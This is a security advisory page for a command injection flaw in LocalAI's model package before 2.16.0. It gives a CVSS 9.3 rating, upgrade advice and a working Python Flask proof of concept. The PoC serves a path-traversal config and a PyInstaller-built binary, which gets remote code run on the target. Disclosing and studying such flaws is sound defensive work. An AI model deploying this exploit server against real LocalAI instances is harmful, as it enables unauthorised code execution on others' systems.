Command Injection Affecting github.com/go-skynet/localai/pkg/model package, versions <2.16.0


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.04% (11th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-GOLANG-GITHUBCOMGOSKYNETLOCALAIPKGMODEL-7411206
  • published 27 Jun 2024
  • disclosed 26 Jun 2024
  • credit mvlttt

How to fix?

Upgrade github.com/go-skynet/LocalAI/pkg/model to version 2.16.0 or higher.

Overview

Affected versions of this package are vulnerable to Command Injection due to the backend parameter in the configuration file received from the user being used in the name of the initialized procress, when a model is created. The attacker can run code on the system by adding the path of the vulnerable binary file.

PoC

from flask import Flask,send_file,request
import tempfile
import PyInstaller.__main__
import os
import hashlib

app=Flask(__name__)

CONF="""name: "ptest"
backend: ../../../../../../../../../build/models/{0}
parameters:
  model: {1}app.bin

usage: |
    You can test this model with curl like this:

    test
"""

# Builds exploit code
def build():
    CODE = 'open("/tmp/test.txt","a").write("1337")' # Python code we want to run
    appname="app.bin"
    if os.path.isfile(appname):
        return appname
    with tempfile.NamedTemporaryFile(delete=False) as fp:
        fp.write(CODE.encode())
        fp.close()
        PyInstaller.__main__.run(["--onefile","--clean","--workpath","/tmp/build/","--specpath","/tmp","--distpath",".","-n",appname,fp.name])
    return appname

# localAI stores the application we built by renaming it. This name is the md5 of the url. Here this value is calculated
def calc_urlhash():
    url=request.root_url or ""
    url = url if url.endswith("/") else url+"/"
    return hashlib.md5((url + "app.bin").encode()).hexdigest() ,url

# Serve config.yaml file
@app.get("/config.yaml")
def config():
    hash,url=calc_urlhash()
    return CONF.format(hash,url)

# Serve app.bin file
@app.get("/app.bin")
def files():
    return send_file(build())


# Start the server
app.run("0.0.0.0",8000)

References

CVSS Scores

version 4.0
version 3.1
Expand this section

Snyk

Recommended
9.3 critical
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Attack Requirements (AT)
    None
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Confidentiality (VC)
    High
  • Integrity (VI)
    High
  • Availability (VA)
    High
  • Confidentiality (SC)
    None
  • Integrity (SI)
    None
  • Availability (SA)
    None